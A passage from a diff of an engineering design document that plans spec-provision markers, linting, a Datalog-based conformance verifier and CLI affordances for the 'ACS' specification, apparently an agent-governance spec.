tool marks; the editor types | | +| **E2** | **Marker mechanism** | | +| E2.1 | 🟡 `` opens a provision; `` closes it. **Both mandatory.** Verified in [X3](./spike-marker-span.md) across all four block types, mid-sentence, inside table cells carrying inline code and links, in nested and ordered list items, in blockquotes, and spanning a stem paragraph into a following list | | +| E2.2 | 🟡 **Span rule — resolved.** Text runs anchor → terminator. No implicit boundary rule, therefore no silent over- or under-capture, and **no sentence segmentation anywhere in the extractor**. Mandatory because 35% of keyword-bearing blocks end in non-normative prose, and which trailing sentences belong to the obligation is editorial judgment no rule recovers | | +| E2.3 | 🟡 **Table cells — resolved.** Anchor and terminator both survive in cells, including cells with inline code and links, and multiple provisions per cell are addressable. §6.1's three-provision `policy_references` cell is expressible | | +| E2.4 | 🟡 The terminator is an HTML comment rather than a second anchor, so the rendered `id` namespace stays 1:1 with provisions — every `acs-req-NNN` in the published spec is a citable provision and nothing else | | +| **E3** | **Staging overlay (retires on upstream merge)** | | +| E3.1 | Marker map: `{provision_id, source_file, verbatim_quote}` resolved against the pinned submodule. Sound here and only here — Fact 10: a pinned corpus has zero drift, so quote matching cannot go stale | | +| E3.2 | Applier materializes a marked copy of the corpus for the extractor to read | | +| E3.3 | Once markers land upstream, the overlay is deleted and the extractor reads the submodule directly. The overlay is also the exact payload of the bulk marker PR (E11.3) | | +| **E4** | **Generated manifest** | | +| E4.1 | 🟡 Extractor walks the marked corpus, reads each anchor→terminator span, and emits per provision: `id`, `type`, `source_file`, `block_type` (paragraph / list item / table cell / blockquote — the four that occur), `section_slug` (informational, regenerated, never a join key), `level`, `text`, `text_hash` | | +| E4.2 | Never hand-edited. A manifest out of sync with the corpus is a CI failure | | +| **E5** | **Authored semantic layer** | | +| E5.1 | 🟡 One record per provision, joined by ID: `actor`, `reported_against`, `profile`, `activation`, `modality_kind` (obligation / permission / conditional-on-exercise), `evidence_class`, `predicate`, `evidence_fields`, `external_facts`, `schema_refs`, `depends_on`, `restates` (R2.9), `status`, `since`, `superseded_by`, `reviewed_against` | | +| E5.2 | **Staleness propagation** — `reviewed_against` pins the `text_hash` the record was last reviewed against. A mismatch sets `needs-review` and walks `depends_on` in reverse, plus test citations, marking everything downstream `needs-review` without ever marking it invalid | | +| **E6** | **Fact vocabulary** — declared relations with arity and types, sized against the 13 provision families | ⚠️ | +| **E7** | 🟡 **Predicate language and multi-target compiler** | ⚠️ | +| E7.1 | External-fact boundary declared per provision: which facts arrive pre-computed from ordinary code (SHA-256, JCS, signature verification, URI parsing, timestamp windows) rather than being derived in Datalog | ⚠️ | +| E7.2 | 🟡 **In-process evaluator** — semi-naive fixpoint with stratified negation, path-carrying transitive closure, and counting aggregation, over the rule subset the compiler emits. The laptop path is `bun install` and nothing else (R3.9) | ⚠️ | +| E7.3 | 🟡 **Soufflé emission** — the generated `.dl` as a published, human-readable, independently executable artifact. Emission, not execution: no contributor installs Soufflé, and R6.1 asks only for generation | ⚠️ | +| E7.4 | 🟡 **Differential oracle** — CI installs Soufflé 2.5 from the official `ubuntu-24.04` `.deb` and asserts both engines derive identical violation sets over shared fixtures (R3.8) | ⚠️ | +| E7.5 | 🟡 **Evidence-projecting rules** — every generated `Violation` binds its subject and witness columns, enforced by the compiler. This satisfies R3.4 in place of an engine provenance facility ([X4](./spike-engine-dependency.md)) | ⚠️ | +| **E8** | **Two censuses** | | +| E8.1 | Source census: every document, its normative status, and `referenced_by` for the ones that inherit normative force by citation | | +| E8.2 | 🟡 Provision census: per source, counts by node type, plus every unbound keyword occurrence with a reason. Reasons include `restatement_of: ACS-REQ-NNN` — X3 found an occurrence count is an *upper bound* on provisions, not a count, because ACS restates rules inside their own parentheticals | | +| **E9** | **spec-lint CI** | | +| E9.1 | A new RFC 2119 keyword occurrence with no marker and no census exclusion → fail | | +| E9.2 | Changed provision text → report affected rules and tests as `needs-review` | | +| E9.3 | Removed provision → its ID must be tombstoned, else fail | | +| E9.4 | Duplicate ID → fail | | +| E9.5 | A rule or test citing an unknown ID → fail | | +| E9.6 | 🟡 **Marker well-formedness** — an anchor with no terminator, a terminator with no anchor, an ID mismatch between the pair, or nested spans → fail. This is what makes the mandatory-terminator rule safe to rely on | | +| E9.7 | 🟡 **Cross-document agreement (R2.9)** — provisions linked by `restates` must still agree; divergence → `needs-review` on the pillar copy, since `concepts/README.md:33` makes the concept page canonical. Also emits the **migration worklist** (R6.6): every inline pillar copy still awaiting replacement by a reference | | +| E9.8 | Normative-impact PR comment rendering E9.1–E9.7 | | +| **E12** | 🟡 **Verdict scoping** — the layer the source's four-layer table did not name but ACS's tiered conformance requires | | +| E12.1 | Profile activation: drop provisions the session's negotiated profiles never activated (R4.3), and apply per-provision `activation` conditions (R4.5) | | +| E12.2 | Modality application: obligation vs permission vs conditional-on-exercise, so an unexercised `MAY` yields no verdict (R4.6) — 65 of 203 occurrences are `MAY`/`OPTIONAL` | | +| E12.3 | Exclusion suppression: an area ACS deliberately leaves open never produces a violation, and is reported as an Exclusion rather than a pass (R4.8) | | +| **E10** | **Renderers** — provision index, coverage report, W3C-style conformance report | | +| **E11** | **Upstream governance path** | | +| E11.1 | Discussion proposing the mechanism, demonstrated on ~5 provisions from different families: prose ↕ ID ↕ predicate ↕ rule ↕ tests | | +| E11.2 | Small proof-of-concept PR covering only those provisions | | +| E11.3 | Bulk mechanical marker PR — the materialized E3 overlay | | + +**Departure from the source, and why.** The source sketched `ACS-DEF-PROV-003`, whose `PROV` segment is structure inside an ID that identifier rule 1 says must be opaque — a definition moving between concept files would either carry a misleading segment or need renumbering, which rule 2 forbids. E1.1 uses fully opaque `ACS-DEF-011`. The type prefix stays because it partitions the counters and makes a citation self-describing; nothing below it does. Similarly, `section:` is retained as a regenerated convenience field, never a key (Fact 1 is the reason). + +--- + +## Fit Check: R × E + +| Req | Requirement | Status | E | +|-----|-------------|--------|---| +| R0 | Every normative provision in ACS — obligation, definition, and invariant — carries a permanent ID, a declared type, and (where testable) a machine-readable predicate, so a verifier can render a per-provision conformance verdict with evidence and a spec edit can name exactly what it invalidated | Core goal | ❌ | +| R1.1 | Corpus membership is determined by declared normative status, not by RFC 2119 grep. Provision discovery is a separate operation from corpus definition | Must-have | ✅ | +| R1.2 | A normative source census declares every document and section that participates in conformance, its status, and what makes it normative (`referenced_by`) | Must-have | ✅ | +| R1.3 | A normative provision census reports, per source, counts by provision type plus every keyword occurrence left unbound, with a machine-readable reason | Must-have | ✅ | +| R1.4 | 🟡 Provisions are typed — Requirement, Definition, Invariant, **Exclusion**, Informative — so an obligation is never invented where the authors wrote none. The first four are the altitudes `concepts/README.md` already declares | Must-have | ✅ | +| R1.5 | 🟡 Definitions and Invariants carry stable IDs, not only obligations | Must-have | ✅ | +| R1.6 | Every RFC 2119 keyword occurrence in the corpus is bound to a provision ID or excluded with a machine-readable reason. No silent omissions | Must-have | ✅ | +| R1.7 | Keyword-free normative statements are captured too — required-field table columns, enum registries, default values, the error-code registry | Must-have | 🟡 ✅ | +| R1.8 | One sentence may yield several provisions, each independently addressable — the marker must be placeable mid-paragraph, not only per block | Must-have | 🟡 ✅ | +| R1.9 | Both censuses are reviewable by a spec editor who has never seen the IR | Must-have | ✅ | +| R2.1 | Each provision is addressed by a permanent, opaque ID carried in the prose itself — never a section number, never a structured path | Must-have | ✅ | +| R2.2 | IDs are never renumbered and never reused. A withdrawn provision is tombstoned, not deleted | Must-have | ✅ | +| R2.3 | An editorial reword keeps the ID; a split or a genuinely new obligation gets new IDs; a semantic replacement records `superseded_by` | Must-have | ✅ | +| R2.4 | Changed normative text marks dependent rules and tests stale, pending review — never silently invalid and never silently fine. A human classifies the change as editorial, semantic, or split | Must-have | ✅ | +| R2.5 | The mechanical half of the IR is generated from the marked prose (ID, type, source, level, text, text hash) and never hand-maintained as duplicate prose | Must-have | 🟡 ✅ | +| R2.6 | A changed Definition marks its dependent Requirements stale even when no RFC 2119 sentence changed anywhere | Must-have | ✅ | +| R2.7 | Rules and tests cite provision IDs only, never quoted English | Must-have | ✅ | +| R2.8 | A schema change propagates the same way — schema-delegating provisions pin the subschema they rely on | Must-have | ✅ | +| R2.9 | 🟡 When one obligation is stated in two documents, both are marked and the IR asserts they agree. Drift between them is a lint failure, not a discovery made years later. Direction is not ours to choose — `concepts/README.md:33` declares the concept page canonical where it disagrees with a pillar's inline copy, so `restates` points from the pillar copy to the concept provision | Must-have | ✅ | +| R3.1 | Every testable Requirement carries a machine-readable predicate, not restated prose | Must-have | ❌ | +| R3.2 | Predicates are written over one declared fact vocabulary — named relations with declared arity and types — so provisions compose and share terms | Must-have | ❌ | +| R3.3 | The IR predicate is the authority for at least one backend: the backend rule is generated from it, never merely cross-referenced by ID | Must-have | ❌ | +| R3.4 | A violation names its subject and carries the facts that witness it, sufficient to explain the failure without re-running the verifier | Must-have | ✅ | +| R3.5 | Facts Datalog cannot compute — SHA-256, JCS canonicalization, signature verification, URI parsing, timestamp windows — enter as pre-computed facts from ordinary code, and that boundary is declared per provision rather than left implicit | Must-have | ❌ | +| R3.6 | A provision the vocabulary cannot express is visibly flagged, never silently approximated by a weaker predicate | Must-have | ❌ | +| R3.7 | Requirements declare their dependency on Definitions and Invariants explicitly, so the traceability graph is machine-walkable in both directions | Must-have | ✅ | +| R3.8 | 🟡 Where the IR compiles to more than one backend, the backends are held equivalent by differential execution over shared fixtures, and divergence fails CI — two engines are only safe when agreement is asserted rather than assumed | Must-have | 🟡 ❌ | +| R3.9 | 🟡 Running the verifier on a laptop requires no build toolchain — every native artifact arrives prebuilt through the package manager, matching the posture the AGT SDK already establishes across five platforms | Must-have | 🟡 ✅ | +| R4.1 | Each provision declares its normative level (MUST, MUST NOT, SHOULD, MAY, RECOMMENDED, OPTIONAL, REQUIRED) | Must-have | ✅ | +| R4.2 | Each declares the actor it binds — Observed Agent, Guardian, Approver, framework, deployment, verifier — distinctly from the party a violation is reported against | Must-have | ✅ | +| R4.3 | Each declares which conformance profile activates it, so a verdict is scoped to what the session negotiated | Must-have | ✅ | +| R4.4 | Each declares its evidence class — what observation could falsify it — with `non-testable` a legitimate, reviewable value rather than a dropped row | Must-have | ✅ | +| R4.5 | Conditional provisions carry their activating condition (`provenance_producer: deterministic`, `trust` populated, `scope_mode: strict`, `on_decision_failure` posture) | Must-have | ✅ | +| R4.6 | Permission is modelled distinctly from obligation. A `MAY` that was not exercised generates no obligation and no violation; a `MAY` that was exercised can carry conditional obligations | Must-have | ✅ | +| R4.7 | Protocol conformance is never conflated with policy strictness — a permissive Guardian is conformant, and no predicate may report otherwise | Must-have | ✅ | +| R4.8 | 🟡 A deliberate non-requirement is represented distinctly from an untestable one. The verifier never reports a violation in an area ACS leaves open, and the report distinguishes *"ACS says nothing here"* from *"we cannot observe this."* 19 corpus statements assert ACS requires nothing; R4.7 is one case of this class | Must-have | 🟡 ✅ | +| R5.1 | Shape, type, enum, and required-field provisions delegate to the 48 existing Draft 2020-12 schemas instead of restating them | Must-have | ✅ | +| R5.2 | The delegation is precise — schema file plus JSON Pointer — so the IR cites a specific constraint, not a whole file | Must-have | ✅ | +| R5.3 | No second copy of the wire contract exists anywhere in the IR | Must-have | ✅ | +| R6.1 | Soufflé rule generation for the temporal, graph, and relational families | Must-have | ❌ | +| R6.2 | The IR names which provisions are protocol invariants, so a TLA+ model checks a declared list rather than an ad-hoc one | Must-have | ✅ | +| R6.3 | A test↔provision coverage report is derivable: which provisions have conformance tests, which do not | Must-have | ✅ | +| R6.4 | A W3C-style human conformance report renders from the IR — provision, level, profile, verdict, evidence | Must-have | ✅ | +| R6.5 | Nothing in the IR's structure forecloses a later Lean formalization of the same predicates | Leaning yes | ✅ | +| R6.6 | 🟡 The cross-document agreement check emits the migration worklist `concepts/README.md:33` promises — which inline pillar copies still need replacing by a reference to the canonical concept page | Must-have | 🟡 ✅ | +| R7.1 | Adding or editing a provision does not require touching a compiler or code generator | Must-have | ✅ | +| R7.2 | A provision change reads as a reviewable diff in a pull request | Must-have | ✅ | +| R7.3 | A spec PR reports its own normative impact: provisions changed and their now-stale tests, provisions added with no test, provisions removed without a tombstone, and normative statements left unmarked | Must-have | ✅ | +| R7.4 | Editorial workflow is preserved — the IR does not take over authoring the spec's prose or conflict with `STYLE.md`'s voice | Must-have | ✅ | +| R7.5 | Markers are invisible in the rendered spec. A reader sees the sentence, not an identifier | Must-have | ✅ | +| R7.6 | The catalog renders as a human-readable provision index alongside the spec | Leaning yes | ✅ | +| R8.1 | Home is `ACS_reference_implementation`, in its own top-level tree | Decided | ✅ | +| R8.2 | The IR tree depends on the pinned `spec/acs` submodule and on nothing else in this repo — no AGT bridge, no host adapters, no `mapping.yaml`. Verifiable by inspection | Must-have | ✅ | +| R8.3 | Upstreamable to the ACS spec repo without carrying reference-implementation or AGT-specific choices | Must-have | ✅ | +| R8.4 | The reference implementation may consume the IR and become a verifier target; the IR never depends on it | Must-have | ✅ | +| R8.5 | Upstream marker adoption goes Discussion → small proof-of-concept PR → bulk mechanical PR. No surprise 200-marker PR | Decided | ✅ | +| R8.6 | The Discussion proposes the mechanism, demonstrated on ~5 provisions from different families showing prose ↕ ID ↕ rule ↕ tests — not 200 IDs to debate | Must-have | ✅ | +| R8.7 | Until markers land upstream, the IR works against the pinned submodule without requiring any upstream change to be merged first | Must-have | ✅ | + +**Notes — 🟡 down from 10 failures to 7, all now traced to 2 flagged mechanisms:** + +- ✅ **E2.2 (span rule) — closed by [X3](./spike-marker-span.md).** R1.8 and R2.5 now pass. A provision's text runs anchor → terminator, both mandatory. The rule is mandatory rather than conditional because 35% of keyword-bearing blocks end in non-normative prose, so a "terminator where needed" rule would place an undetectable judgment on the editor in a third of cases. +- ✅ **E2.3 (table-cell markers) — closed by X3.** R1.7 now passes. Anchors and terminators both survive in table cells, including cells carrying inline code and links, and multiple provisions per cell are addressable. +- ❌ **E6 (fact vocabulary)** → fails R3.2 and R3.6. R3.6 in particular cannot be satisfied without a vocabulary, because "inexpressible" is only definable relative to one. **X1 resolves.** +- ❌ **E7 / E7.1–E7.5 (predicate language, external-fact boundary, both emitters, the oracle, evidence projection)** → fails R3.1, R3.3, R3.5, R3.8, R6.1. **X2 resolves.** 🟡 [X4](./spike-engine-dependency.md) fixed *where* these run and narrowed X2 to a single candidate, but the language itself is still undesigned, so the flag stands. +- ❌ **R0** fails while any of the above do. +- 🟡 **R3.9 passes because of X4**, not by default: the laptop path adds no binary at all, where a Soufflé dependency would have added a source build on five of six platform configurations. + +Everything not listed passes, including R2.9. The remaining 8 failures are all downstream of the predicate language — the marker, extraction, taxonomy, and execution-environment layers are now unflagged, which is what makes it safe to slice. + +🟡 **E12 added without changing any verdict.** R4.3, R4.5, R4.6, and R4.8 already passed on E5.1's fields; E12 gives them an owning mechanism rather than leaving profile and modality scoping implicit in the breadboard's `N45`/`N46`/`N47`. It carries no flag — the logic is filtering over declared fields, understood concretely. + +--- + +## Detail E: Affordances + +Shape E detailed into concrete affordances. The IR lives at `ir/` — its own top-level tree, reading the pinned `spec/acs` submodule and nothing else in this repo (R8.2). + +### Places + +| # | Place | Description | +|---|-------|-------------| +| **P1** | Terminal — `acs-ir` CLI | Where a maintainer runs the IR. Commands in, reports out | +| **P2** | Provision index | Rendered human-readable catalog of every provision (R7.6) | +| **P3** | Conformance report | W3C-style per-provision verdicts with evidence (R6.4) | +| **P4** | Census report | Source census and provision census, editor-reviewable (R1.9) | +| **P5** | GitHub PR — normative impact | The comment a spec PR gets, naming what it invalidated (R7.3) | +| **P6** | Published ACS spec site | Where markers become citable anchors and stay invisible (R7.5) | +| **P7** | Upstream spec repo — Discussion and PRs | The governance path (R8.5, R8.6) | +| **TRIGGER: CI** | Scheduled and per-PR `spec-lint` | Not navigable; fires N20 | + +### UI Affordances + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U1 | P1 | `ir/markers` | `acs-ir markers apply` | invoke | → N1 | — | +| U2 | P1 | `ir/extract` | `acs-ir extract` | invoke | → N4 | — | +| U3 | P1 | `ir/census` | `acs-ir census` | invoke | → N10 | — | +| U4 | P1 | `ir/lint` | `acs-ir lint` | invoke | → N20 | — | +| U5 | P1 | `ir/compile` | `acs-ir compile` | invoke | → N31 | — | +| U6 | P1 | `ir/verify` | `acs-ir verify ` | invoke | → N40 | — | +| U7 | P1 | `ir/render` | `acs-ir render` | invoke | → N50, → N51, → N52 | — | +| U8 | P1 | `ir/markers` | `acs-ir markers patch` | invoke | → N60 | — | +| U9 | P1 | `ir/lint` | lint failures, by rule, with `file:line` | render | — | — | +| U10 | P1 | `ir/catalog` | stale-provision list: ID, why, what it invalidated | render | — | — | +| U11 | P1 | `ir/verify` | verdict summary: pass / fail / needs-review counts by profile | render | — | — | +| U31 | P1 | `ir/verify` | 🟡 differential divergence report — provision, fixture, and the tuples only one engine derived | render | — | — | +| U32 | P4 | `ir/render` | 🟡 migration worklist — inline pillar copies still awaiting replacement by a reference to the canonical concept page (R6.6) | render | — | — | +| U33 | P4 | `ir/render` | 🟡 dependency-edge audit — `Referenced by` footers with no provision depending back, and authored edges with no footer | render | — | — | +| U34 | P3 | `ir/render` | 🟡 exclusion roster — areas ACS deliberately leaves open, distinct from the non-testable roster (R4.8) | render | — | — | +| U12 | P2 | `ir/render` | provision index — ID, type, level, actor, profile, evidence class, status | render | — | — | +| U13 | P2 | `ir/render` | per-provision detail — verbatim text, predicate, `depends_on`, `restates`, citing tests | render | → U26 | — | +| U14 | P2 | `ir/render` | test-coverage table — provisions with tests, provisions without (R6.3) | render | — | — | +| U15 | P3 | `ir/render` | per-provision verdict row | render | — | — | +| U16 | P3 | `ir/render` | profile-scoped summary — obligations active per claimed profile, met and unmet | render | — | — | +| U17 | P3 | `ir/render` | evidence detail — the subject and the facts that witness the violation (R3.4) | render | — | — | +| U18 | P3 | `ir/render` | non-testable roster — provisions no trace can falsify, listed not hidden (R4.4) | render | — | — | +| U19 | P4 | `ir/render` | source census — document, normative status, `referenced_by` | render | — | — | +| U20 | P4 | `ir/render` | provision census — per source, counts by node type | render | — | — | +| U21 | P4 | `ir/render` | unbound-occurrence table — every keyword not bound, with its reason | render | — | — | +| U22 | P5 | `ir/lint` | changed provisions and the tests now `needs-review` | render | — | — | +| U23 | P5 | `ir/lint` | added provisions with no conformance test | render | — | — | +| U24 | P5 | `ir/lint` | removed provisions missing a tombstone | render | — | — | +| U25 | P5 | `ir/lint` | unmarked normative statements, `file:line` | render | — | — | +| U26 | P6 | `spec/acs` | provision anchor deep link — `…/specification/#acs-req-017` | click | — | — | +| U27 | P6 | `spec/acs` | the normative sentence, unchanged and marker-free to the eye | render | — | — | +| U28 | P7 | governance | Discussion — mechanism proposal plus 5 worked provisions (R8.6) | author | → U29 | — | +| U29 | P7 | governance | proof-of-concept PR — those 5 provisions only | author | → U30 | — | +| U30 | P7 | governance | bulk marker PR — the materialized overlay | author | → P6 | — | + +### Code Affordances + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| N1 | P1 | `ir/markers` | `applyOverlay()` | call | → N2, → S3 | — | +| N2 | P1 | `ir/markers` | `resolveQuote()` — verbatim match against the pinned corpus | call | — | → N1 | +| N3 | P1 | `ir/ids` | `allocateId()` — monotonic per type, tombstone-aware | call | → S6 | → N1 | +| N4 | P1 | `ir/extract` | `extractProvisions()` | call | → N5, → N6, → S4 | — | +| N5 | P1 | `ir/extract` | `readSpan()` — anchor → ``, across the four block types | call | — | → N4 | +| N6 | P1 | `ir/extract` | `hashText()` — normalize whitespace, SHA-256 | call | — | → N4 | +| N10 | P1 | `ir/census` | `runCensus()` | call | → N11, → N12, → S11 | — | +| N11 | P1 | `ir/census` | `sourceCensus()` — declared status plus `referenced_by` | call | — | → N10 | +| N12 | P1 | `ir/census` | `provisionCensus()` — counts by type, unbound occurrences with reasons | call | → N13, → N14 | → N10 | +| N13 | P1 | `ir/census` | `keywordScan()` — RFC 2119 sweep, block-type aware | call | — | → N12 | +| N14 | P1 | `ir/census` | `calloutScan()` — `> **… (normative).**` in `concepts/`; candidates only, since node type is editorial (E1.4) | call | — | → N12 | +| N19 | P1 | `ir/census` | `seedDependsOn()` — parse the eight `Referenced by` footers into candidate `depends_on` edges, and lint them against authored edges in both directions | call | — | → N12, → U33 | +| N15 | P1 | `ir/catalog` | `loadCatalog()` — join S4 ⋈ S5 on ID | call | — | → N16, → N20, → N31, → N40, → N50 | +| N16 | P1 | `ir/catalog` | `checkStaleness()` — `reviewed_against` vs `text_hash` | call | → N17, → N18, → S12 | — | +| N17 | P1 | `ir/catalog` | `walkDependsOn()` — reverse-walk Requirement ← Definition (R2.6) | call | — | → N16 | +| N18 | P1 | `ir/catalog` | `checkRestatement()` — cross-document agreement, concept page canonical (R2.9); also emits the migration worklist (R6.6) | call | → U32 | → N16 | +| N20 | P1 | `ir/lint` | `specLint()` | call | → N21, → N22, → N23, → N24, → N25, → N26, → N16 | — | +| N21 | P1 | `ir/lint` | `lintUnmarkedKeyword()` (E9.1) | call | — | → N20 | +| N22 | P1 | `ir/lint` | `lintMarkerPairing()` — unpaired, mismatched, or nested spans (E9.6) | call | — | → N20 | +| N23 | P1 | `ir/lint` | `lintTombstone()` (E9.3) | call | — | → N20 | +| N24 | P1 | `ir/lint` | `lintDuplicateId()` (E9.4) | call | — | → N20 | +| N25 | P1 | `ir/lint` | `lintUnknownCitation()` — a rule or test citing an unknown ID (E9.5) | call | — | → N20 | +| N26 | P1 | `ir/lint` | `lintSchemaRefs()` — pinned subschema hash vs actual (R2.8) | call | — | → N20 | +| N27 | P1 | `ir/lint` | `renderImpactComment()` (E9.8) | call | → U22, → U23, → U24, → U25 | — | +| N30 | P1 | `ir/vocabulary` | `loadVocabulary()` — relations, arity, types | call | — | → N31, → N41 | +| N31 | P1 | `ir/compile` | `compilePredicate()` — IR predicate → typed rule IR, checked against the vocabulary | call | → N32, → N34, → N35, → N36 | — | +| N32 | P1 | `ir/compile` | `flagInexpressible()` — predicate the vocabulary cannot type (R3.6) | call | — | → N31, → U9 | +| N33 | P1 | `ir/compile` | `emitTlaInvariants()` — the declared invariant list (R6.2) | call | → S15 | — | +| N34 | P1 | `ir/compile` | `emitSouffleProgram()` — the published, independently runnable `.dl` (E7.3) | call | → S8 | — | +| N35 | P1 | `ir/compile` | `emitEvaluatorRules()` — the in-process engine's rule set (E7.2) | call | → S16 | — | +| N36 | P1 | `ir/compile` | `requireEvidenceColumns()` — reject a `Violation` rule that binds no subject or witness (E7.5, R3.4) | call | — | → N31, → U9 | +| N40 | P1 | `ir/verify` | `verify()` | call | → N41, → N42, → N43, → N44 | — | +| N41 | P1 | `ir/verify` | `normalizeTrace()` — envelope log → relation facts | call | → S9 | — | +| N42 | P1 | `ir/verify` | `computeExternalFacts()` — SHA-256, JCS, signature verification, URI parse, timestamp window (E7.1) | call | → S10 | — | +| N43 | P1 | `ir/verify` | `validateSchemas()` — Ajv against the 48 pinned schemas, per `schema_refs` | call | — | → N45 | +| N44 | P1 | `ir/verify` | `evaluate()` — in-process semi-naive fixpoint over S16 ⊕ S9 ⊕ S10 → violations with evidence columns | call | — | → N45 | +| N45 | P1 | `ir/verify` | `scopeByProfile()` — drop provisions the session's profiles never activated (R4.3, R4.5) | call | → N46 | — | +| N46 | P1 | `ir/verify` | `applyModality()` — obligation vs permission vs conditional-on-exercise (R4.6) | call | → N47 | — | +| N47 | P1 | `ir/verify` | `attachEvidence()` — subject plus witnessing facts (R3.4) | call | → U11, → U15, → U17 | — | +| N50 | P1 | `ir/render` | `renderProvisionIndex()` | call | → U12, → U13, → U14 | — | +| N51 | P1 | `ir/render` | `renderConformanceReport()` | call | → U15, → U16, → U17, → U18, → U34 | — | +| N52 | P1 | `ir/render` | `renderCensus()` | call | → U19, → U20, → U21, → U32, → U33 | — | +| N60 | P1 | `ir/markers` | `materializeMarkerPatch()` — overlay → git patch against the spec repo (E11.3) | call | → P7 | — | +| N61 | TRIGGER: CI | `.github/workflows` | `spec-lint` job, per-PR and scheduled | invoke | → N20, → N27 | — | +| N62 | TRIGGER: CI | `.github/workflows` | `differential` job — `apt install souffle` (official `ubuntu-24.04` `.deb`), then N63 | invoke | → N63 | — | +| N63 | P1 | `ir/verify` | `differentialCheck()` — run Soufflé over S8 and the evaluator over S16 across the same fixtures, assert identical violation sets (R3.8) | call | → U31 | — | + +### Data Stores + +| # | Place | Store | Description | +|---|-------|-------|-------------| +| S1 | P1 | `spec/acs/docs/**.md` | **Read-only, pinned.** The normative corpus | +| S2 | P1 | `ir/markers/overlay.yaml` | Marker map: `{provision_id, source_file, quote}` (E3.1). Retires when markers land upstream | +| S3 | P1 | `ir/.build/marked/` | Materialized marked corpus (E3.2). Post-merge this is S1 itself | +| S4 | P1 | `ir/manifest/provisions.json` | **Generated, never hand-edited.** `id`, `type`, `source_file`, `block_type`, `section_slug`, `level`, `text`, `text_hash` | +| S5 | P1 | `ir/provisions/*.yaml` | **Authored.** One record per provision, joined to S4 by ID | +| S6 | P1 | `ir/ids/{counter,tombstones}.yaml` | Monotonic allocation and retired IDs (E1.2) | +| S7 | P1 | `ir/vocabulary/relations.yaml` | The fact vocabulary — relations, arity, types (E6) | +| S8 | P1 | `ir/dist/rules.dl` | 🟡 Generated Soufflé program — a **published** artifact, not a build temp: readable and runnable by an external auditor without our TypeScript (E7.3) | +| S16 | P1 | `ir/.build/rules.json` | 🟡 Generated rule set for the in-process evaluator (E7.2). Same authority as S8, different target | +| S9 | P1 | `ir/.build/facts/` | Normalized trace facts | +| S10 | P1 | `ir/.build/external-facts/` | Pre-computed crypto, hash, URI, and timestamp facts (E7.1) | +| S11 | P1 | `ir/census/{sources,provisions}.yaml` | Both censuses (E8) | +| S12 | P1 | `ir/.build/stale.json` | Provisions, rules, and tests marked `needs-review` (E5.2) | +| S13 | P1 | `spec/acs/specification/v0.1.0/**.json` | **Read-only, pinned.** The 48 schemas the IR cites rather than restates | +| S14 | P1 | `ir/test/conformance/**` | Conformance tests and fixture traces, each citing provision IDs only (R2.7). Inside `ir/` — the repo-root `test/` belongs to the AGT reference implementation, which is a *verifier target* (R8.4), not part of the IR | +| S15 | P1 | `ir/.build/invariants.tla` | The declared protocol-invariant list (R6.2) | + +### Wiring + +```mermaid +flowchart TB + subgraph P1["P1: Terminal — acs-ir CLI"] + subgraph markers["ir/markers"] + U1["U1: markers apply"] + U8["U8: markers patch"] + N1["N1: applyOverlay()"] + N2["N2: resolveQuote()"] + N3["N3: allocateId()"] + N60["N60: materializeMarkerPatch()"] + end + subgraph extract["ir/extract"] + U2["U2: extract"] + N4["N4: extractProvisions()"] + N5["N5: readSpan()"] + N6["N6: hashText()"] + end + subgraph census["ir/census"] + U3["U3: census"] + N10["N10: runCensus()"] + N11["N11: sourceCensus()"] + N12["N12: provisionCensus()"] + N13["N13: keywordScan()"] + N14["N14: calloutScan()"] + N19["N19: seedDependsOn()"] + end + subgraph catalog["ir/catalog"] + N15["N15: loadCatalog()"] + N16["N16: checkStaleness()"] + N17["N17: walkDependsOn()"] + N18["N18: checkRestatement()"] + U10["U10: stale list"] + end + subgraph lint["ir/lint"] + U4["U4: lint"] + N20["N20: specLint()"] + N21["N21: unmarkedKeyword"] + N22["N22: markerPairing"] + N23["N23: tombstone"] + N24["N24: duplicateId"] + N25["N25: unknownCitation"] + N26["N26: schemaRefs"] + N27["N27: renderImpactComment()"] + U9["U9: lint failures"] + end + subgraph compile["ir/compile"] + U5["U5: compile"] + N30["N30: loadVocabulary()"] + N31["N31: compilePredicate()"] + N32["N32: flagInexpressible()"] + N33["N33: emitTlaInvariants()"] + N34["N34: emitSouffleProgram()"] + N35["N35: emitEvaluatorRules()"] + N36["N36: requireEvidenceColumns()"] + end + subgraph verify["ir/verify"] + U6["U6: verify trace"] + N40["N40: verify()"] + N41["N41: normalizeTrace()"] + N42["N42: computeExternalFacts()"] + N43["N43: validateSchemas()"] + N44["N44: evaluate() in-process"] + N45["N45: scopeByProfile()"] + N46["N46: applyModality()"] + N47["N47: attachEvidence()"] + N63["N63: differentialCheck()"] + U11["U11: verdict summary"] + U31["U31: divergence report"] + end + subgraph render["ir/render"] + U7["U7: render"] + N50["N50: renderProvisionIndex()"] + N51["N51: renderConformanceReport()"] + N52["N52: renderCensus()"] + end + end + + subgraph stores["DATA STORES"] + S1[("S1: pinned corpus")] + S2[("S2: overlay.yaml")] + S3[("S3: marked corpus")] + S4[("S4: provisions.json")] + S5[("S5: provisions/*.yaml")] + S6[("S6: ids + tombstones")] + S7[("S7: relations.yaml")] + S8[("S8: rules.dl published")] + S16[("S16: rules.json")] + S9[("S9: trace facts")] + S10[("S10: external facts")] + S11[("S11: census")] + S12[("S12: stale.json")] + S13[("S13: 48 schemas")] + S14[("S14: conformance tests")] + S15[("S15: invariants.tla")] + end + + subgraph P2["P2: Provision index"] + U12["U12: index"] + U13["U13: provision detail"] + U14["U14: coverage table"] + end + subgraph P3["P3: Conformance report"] + U15["U15: verdict row"] + U16["U16: profile summary"] + U17["U17: evidence detail"] + U18["U18: non-testable roster"] + U34["U34: exclusion roster"] + end + subgraph P4["P4: Census report"] + U19["U19: source census"] + U20["U20: provision census"] + U21["U21: unbound occurrences"] + U32["U32: migration worklist"] + U33["U33: dependency-edge audit"] + end + subgraph P5["P5: GitHub PR — normative impact"] + U22["U22: changed + stale tests"] + U23["U23: added, no test"] + U24["U24: removed, no tombstone"] + U25["U25: unmarked statements"] + end + subgraph P6["P6: Published ACS spec site"] + U26["U26: #acs-req-017 anchor"] + U27["U27: the sentence, marker-free"] + end + subgraph P7["P7: Upstream spec repo"] + U28["U28: Discussion + 5 provisions"] + U29["U29: PoC PR"] + U30["U30: bulk marker PR"] + end + trig(["TRIGGER: CI spec-lint"]) + + 